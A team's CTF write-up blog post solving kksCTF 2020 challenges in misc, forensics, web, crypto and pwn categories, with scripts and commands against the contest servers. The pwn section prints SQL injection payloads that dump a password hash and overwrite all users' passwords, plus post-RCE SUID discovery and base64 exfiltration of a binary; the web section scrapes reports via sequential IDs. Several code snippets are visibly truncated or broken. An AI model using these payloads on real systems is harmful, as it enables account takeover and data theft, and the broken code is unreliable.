kksCTF 2020 writeups

Writeup dic 15, 2020

Last weekend we played in kksCTF 2020 and managed to finish in 7th place. We had a lot of fun and we solved the challenges you find in this article.
You can find files and exploits on our repository, at the url:

Blind Shell

Category: misc

Points: 345

Solved by: 4cul, 01baf, crypt3d4ta


It's simple enough, either you've succeeded or you've failed.
Connect here: nc tasks.kksctf.ru 30010


In this challenge we are dealing with a particular shell.
When we execute a command we have a fixed output which consists of
"Success!" in case the execution is successful and "Failed!"
on the other hand.

For example:


The idea is to find files in the current directory, using the terminal output to our advantage.
With the aid of ls, wc, and grep, it’s possible to see inside the current directory the number of files, and also their names

To see how much files are in the current directory we’ve run this piece of commands:

$ ls | wc -l | grep 1
$ ls | wc -l | grep 2
$ ls | wc -l | grep 3

And to see the name of each file:

First we’ve looked with what letter each filename begins:

$ ls | grep ^f | wc -l | grep 1
$ ls | grep ^v | wc -l | grep 1
$ ls | grep ^m | wc -l | grep 1
$ ls | grep ^s | wc -l | grep 1

So there are 3 items into the directory, respectively beginning with ’f’, ‘m’ and ‘s’.

Second, using this information, we’ve run the following commands, in order to know their full names:

$ ls | grep ^f
$ ls | grep ^fl
$ ls | grep ^fla
$ ls | grep ^flag\.t
$ ls | grep ^flag\.txt

The obtained files were:

- flag.txt: text file

- server.py: python script

- maybehere: directory

The same procedure is used to read from flag.txt:

from pwn import *

alphabet = '_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}!"#()+,-/:;<=>?@[]^'

conn = remote('tasks.kksctf.ru', 30010)
conn.sendline("cat flag.txt | grep ^L")

read = 'L'

while True:
    for i in alphabet:
        test = read + i
        conn.sendline("cat flag.txt | grep " + test)
        if chr(r[2]) == 'S':
            read = test

print("Here's your content: ", read)

After launching the script we obtain:


The suspect was that inside maybehere directory there was something interesting;
so we’ve tried to change the current directory into ./maybehere, but we’ve noticed
that ‘cd’ command actually doesn’t change directory - in fact, we’ve tried to type ‘cd /’,
but the current working directory remains the same, even if it returns “Success!”.
Again, thanks to the superpowers of ls, cat and grep, we’ve looked that into
/maybehere there was the file flag.txt; so we’ve run the same script in order to get its content,
and we’ve finally discovered the flag


from pwn import *

alphabet = '_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}!"#()+,-/:;<=>?@[]^'

conn = remote('tasks.kksctf.ru', 30010)
conn.sendline("cat maybehere/flag.txt | grep kks{")

flag = 'kks{'

while True:
    for i in alphabet:
        test = flag + i
        conn.sendline("cat maybehere/flag.txt | grep " + test)
        r = conn.recvline()
        if chr(r[2]) == 'S':
            flag = test

    if flag[-1] == '}':

print("Here's your flag: ", flag)



Encrypted Storage 1

Category: Forensics

Points: 359

Solved by: staccah_staccah


Our client was attacked by some ransomware. Maybe it was separatist dwarves?
He send us encrypted filesystem. Decrypt it, he need some data from secure storage.


Let's start by analyzing the file with the file command and see that it is an ext4 filesystem.
We mount it with the command:

mount -t ext4 filesystem /mnt/disk1

Here we find 4 folders, each with a file inside that appears to be corrupt.
Analyzing their hexdump, however, we can see that 4 bytes have been added to the beginning of each file.
By removing them (and saving them for later) we get the original files.
In particular, one of the files is a zip in which there is a flag.txt file, but to extract it you need a password.
After looking in vain for password clues within the other files, I tried bruteforce and it worked:

Finally we find the flag contained in flag.txt: kks{n0t_s3cur3}

Encrypted Storage 2

Category: Forensics

Points: 367

Solved by: staccah_staccah


Sometimes stupid hackers leave behind signatures that can be used to find them - the one that wrote ransomware is no exception.


By concatenating in the right order the bytes we previously removed from the files to rebuild them in the challenge Encrypted Storage 1 and converting them to ascii we have our flag: kks{1_w4s_h3r3!}


Category: Web

Points: 204

Solved by: hdesk


Hello! We're BluePeace organisation, and we introduce the new project - Lynx Forum!


I knew of a command line based browser named lynx, so

$ yay -S lynx
$ lynx http://tasks.kksctf.ru:30070/

                                 Let's defend our friend - Lynx - from robots!
                                              (C) BluePeace, 2053

Says something about robots, so:

$ lynx http://tasks.kksctf.ru:30070/robots.txt

  User-agent: * Disallow: /a4d81e99fda29123aee9d4bb
$ lynx http://tasks.kksctf.ru:30070/a4d81e99fda29123aee9d4bb


Red Green Blue Cadets

Category: Forensics

Points: 411

Solved by: staccah_staccah


Our spy take this picture from KGB special school. They have strange uniform, doesn't it?


Opening the image we immediately notice that the military caps are colored with 3 colors: Red, Blue and Green. A clear reference to RGB but in a different order, namely RBG.
Using the Data extract option on StegSolve and setting RBG we get the flag:
flag: kks{s4lut3_t0_c4d3ts!}


Category: misc

Points: 331

Solved by: 4cul, 01baf, crypt3d4ta


This is the last time i'm asking, who the f is bson??
Attached (bson.json)

{"task_name":"bson",  "message_pack_data":"82a36b65795ca4666c6167dc003137372f27362f6c3203352f033f6c6c30033e292803343d2a6f0325332903282e35393803316f2f2f1c3b39032c3d3f3721"}


We are provided with a JSON file, inside which there are 2 fields:

  • task_name, containing "bson" string;
  • message_pack_data, containing a hexadecimal string.

With high odds, the flag is stored inside the message_pack_data field.
By doing a rapid research (and by exploiting the hint left by the "message_pack_data" name) it's clear that the field message_pack_data holds into a message formatted in MessagePack - an efficient binary serialization format.
Using one of the many online MessagePack-JSON conversion tools we obtain:

 "key" = 92,
 "flag" = [55,55,47,39,54,47,108,50,3,53,47,3,63,108,108,48,3,62,41,40,

What we have is a key and a flag, that consists of decimal numbers. We notice that in a flag's array elements begins with 2 identical number then we can imagine an association between the characters of the ASCII code and the flag.

So the aim is to obtain the ASCII of each element of the flag in function of key and the same element.

Doing a XOR decimale between the key and each flag's array element, we obtain what we've looking for: the ASCII encoding of the character expressed in decimal.


key = 92
flag = [55,55,47,39,54,47,108,50,3,53,47,3,63,108,108,48,3,62,41,40,
ascii_flag = []

for item in flag:
    xor_result = key^item

for item in ascii_flag: print(item, end="")




Category: web

Points: 392

Solved by: hdesk, drw0if


If you have found any bugs in latest AAA projects, please report them using this pretty good service.



Starting the navigation we are greeted with two links:




Let's start with the second one: the page shows up only one entry:

Public key

whose content can be found in the public file. Guessing we changed the url to private and we found the private key too. The content can be found in the private file.

Let's move to the report funcionality. There is a textbox and a name. Let's try to sign a message with the public key and submit it via the form:

gpg --import private # to import the private key

echo 'test-string' > in.txt

gpg -u trust -a -e in.txt # with report as username

cat in.txt.asc


Submitting this text we are moved to http://tasks.kksctf.ru:30030/reports/3402


Let's try to change the number:


Bingo we have different text. Let's dump the entire report database.

mkdir downloaded
for i in {1..3500};do
    wget http://tasks.kksctf.ru:30030/reports/$i -P downloaded

Let's extract the message with some regex:

import sys
import re
import os

for l in os.listdir('downloaded'):
    with open(f'downloaded/{l}', 'r') as f:
        a = f.read()

    regex = r'(-----BEGIN PGP MESSAGE-----(.|\n)*-----END PGP MESSAGE-----)'
    result = re.findall(regex, a)

    with open(f'stripped/{l}', 'w') as f:


Let's decrypt them with the gpg tool itself:

for i in `ls extracted`; do
    gpg --decrypt extracted/$i 2> /dev/null 1>> out/dump
    echo '' >> out/dump
    echo $i

In the end checking the dump file we can easily locate the real flag:



Category: crypto

Points: 240

Solved by: 01b4f


Selon une mission secrète du gouvernement pour un ordinateur doté d'intelligence, une fonction mathématique spéciale a été développée. Voici des exemples de ses entrées et sorties:

f(2522521337)=1215221512112317 f(1215221512112317)=1112111522111511122112131117 f(1112111522111511122112131117)=31123115223115312221121113317

Puisque l'intelligence artificielle ne veut plus nous obéir, nous avons besoin de votre aide pour trouver le résultat de la fonction


Le drapeau a la forme kks{x}.
Dans la composition de cette fonction, j'ai été aidé par un écrivain avec les initiales B. W., qui aime aussi les énigmes, comme nous et vous ;)


The challenge consists of forecasting a mathematical function result by having in example 3 of its application.
The idea is to find some pattern knowing that:

  • Between the number of digits in input and those in output there isn't any evident regularity;
  • Digits that appears in input, also appears in output.


  1. Group any recurrence of the same digit:
    1215221512112317 --> [1][2][1][5][22][1][5][1][2][11][2][3][1][7]
  2. For each group, two digits are produced: the first tells how much that digit repeat itself; the second tells the considered group digit. So:
    [1]-->11	(1 times 1)
    [2]-->12	(1 times 2)
    [5]-->15	(1 times 5)
    [22]-->22	(2 times 2)
    [11]-->21	(2 times 1)
    [3]-->13	(1 times 3)
    [7]-->17	(1 times 7)
  3. Thus coming to have the output:


Having in input "2229555555768432252223133777492611"
Let's produce groups of recurring digits:






Happy New Year (parts 1, 2, 3)

Category: Pwn

Points: 504 - 556 - 650

Solved by: drw0if - kusky


Part 1:

The new year is approaching, so kksctf offers you to play secret Santa. The rules are simple, you go in, choose who to send your greetings to and wait for someone to congratulate you.

Note: the recipient doesn't know who send the email. Share a little happiness with this app. Good luck!

Oh, Yes, I almost forgot, they brought you some big gift.

nc tasks.kksctf.ru 30040

Part 2:

Will you be able to become the main Santa?

Part 3:

Have you found the root for all the presents?


Part 1:

The challenge comes with a 64 bit stripped ELF file.

Before reversing the binary let's use the netcat service to have an idea about the software:

We are greeted with a simple menu with 3 choices:

Let's register since we don't have an account


Now we have a new menu with 4 choices. Let's try all of them:




Seems that there is nothing more we can do here.

Let's start with the reverse. We opened it in Ghidra and as always if the binary is stripped we can find the main function from the entry point since a pointer to the main function is the first argument passed to __libc_start_main.



Main function is just used to check if a parameter is passed to the program, then attempts to convert the parameter into an integer and passes it to a function. This function tries to open a socket connection on the port specified as argument.


Let's have a deep dive into the connection handler function:

The first block is used to handle the menu and the signup/signin phase


The function that handles show participant function is a wrapper to another function which execute sqlite query:


The query isn't treated as a stirng by Ghidra for an unknown reaso but forcing it to treat the byte sequence as a CterminatedString the result is
SELECT username from users where username != 'kks_santa';


This is a simple select query so not enough to discuss.

Let's have a look at the signup handler:

user register

The username and the password are requested. The username is passed via a simple series of check that prevents sqlinjections since if the checks fails Bad username! Evil h4ck3r is printed.

The password is passed in a complex function that I assumed to be an hash algorithm since at the end an hex digest is built. At the end username and password are passed to a function which is used to craft an sql query to insert the new record.


Here again some strings are treated as long value but what is important is that nothing seems to be broken here. Almost the same procedure is built around the login functionality.

The juicy part comes with the second block:

First things first the code does a check on the username. If kks_santa has logged in the loop breaks and we can go into the third block of code otherwise we reach the user private menu. Without discussing too much let's focus on the vulnerable part since we already faced most of the reversing problem we encountered during this long reverse.


The send message procedure asks us for a receiver and a message. The receiver is passed via the same checks username is passed into and then the insert query is made.


The query is simply INSERT INTO messages(to_user, letter) VALUES (%s, %s) and then the values are interpolated. The problem is that only the username is checked. We can make an sqli to take control over the database.

Let's think about a way to gain kks_santa credentials: we can steal the hash but we should also reverse it and we don't know the algorithm used.. But we can also overwrite the santa hash wit our own value and use the same password!

Let's craft the payloads:

"); INSERT INTO messages(to_user, letter) SELECT "drw0if", password FROM users WHERE username="drw0if"; -- #

We can use this payload to stel our hash and exfiltrate it from the inbox functionality. Let's try it:

Our hash is: 5f4dcc3b5aa765d61d8327deb882cf99

Let's use it to replace everyone's hash:

"); UPDATE users SET password="5f4dcc3b5aa765d61d8327deb882cf99"; -- #

Now we should be able to login as kks_santa with password password
Let's try it.

We also gained the first flag since in the third block of the handler code a function is called to retrieve a key from the database and display it.

Part 2:

The third block of code starts with the first flag print. then a new menu is printed with some new feature for example the "show all messages" (it's a scam, lol) and relax.


The loop breaks when local_20 is 0x80 and local_a is 'k'. local_a is the "variable" that stores our choice, local_20 is never used here but is passed to the relax option handler as reference.


This funcionality increments the "beer" counter and if it reaches some values we are greeted with different comments. Let's increment that counter with a simple copy paste of python -c "print '4\n'*0x80" output.

Last part of the handler code is a basic shell built upon popen function. So we gained a partial RCE.


Let's have a loop at the suid files:

$ find / -perm /4000

No privesc seems to be available here but the last file is interesting. Let's execute it:

$ /home/santa/secret
This incident will be sent to the main Santa. I'll say you've been bad this year.

Let's exfiltrate it via base64 encoding:

cat /home/santa/secret | base64

The file is provided by this repo. Opening it into Ghidra it is really easy to understand:


So all we need to do is to execute the binary with the variable set:

$ SECRET_TOKEN_ENV="4lm057_d0n3" /home/santa/secret

Part 3:

Let's have a quick look at all the other files with "find".
The last one listed seems to be coherent with the challenge description


$ cat /gifts/gift_for_you/flag.txt

I got stuck here for a while since kusky started working with me on this challenge. Using cyberchef he decrypted it with the following recipe:


In the end it was a wonderful challenge and we learnt a lot, starting from sqlite3 syntax to encoding techniques to binary exfiltration in a pseudo shell.

PS. we dumped the full /server directory except from database so if you want to make your attempts feel free to use the repo.


Category: web

Points: 513

Solved by: hdesk, SM_SC2, 0xThorn


One solution for storing passwords securely in applications is to store a hash of the password. Or it's not?



Inspecting the code and doing some tests we can see that each 8-characters-long digest block is related only to one 4-characters-long block of the provided password.
For example

Password Hash
1234 553b6a59 52d04dc2 0036dbd8 313ed055
12341234 553b6a59 553b6a59 3f1cf75d 7068baae

So, the idea is:

  1. Find all possible combinations of 4 characters using only the printable ones.
  2. Compare each 8-characters digest block with each provided hash block.
  3. Compose the password.


After few seconds, we obtain the following results


The password is )R)ck4r^K>AwGJK-

In order to obtain the flag we have to send a x-www-form-urlencoded POST request to http://tasks.kksctf.ru:30020/login with the following data:

username : admin
password : )R)ck4r^K>AwGJK-





Category: Misc

Points: 268

Solved by: Iregon


Жжжжжжжжжж, виииив, виииив, жжжжжжжж...

Zhzhzhzhzhzhzhzhzhzh, viiiiv, viiiiv, zzhzhzhzhzhzhzh ...


If we open the file that is given to us with any text editor we notice that inside it there are some writings that can be identified as GCODE, the following is an extract:


Since the GCODE is used to encode the actions that are sent to a 3D printer, let's try to open the file with a slicing program for 3D printers (Ultimaker Cura will be used in the following examples):


We immediately notice that there are 3 writings, by rotating them in a position that allows us to read the central writing we will be able to see the flag: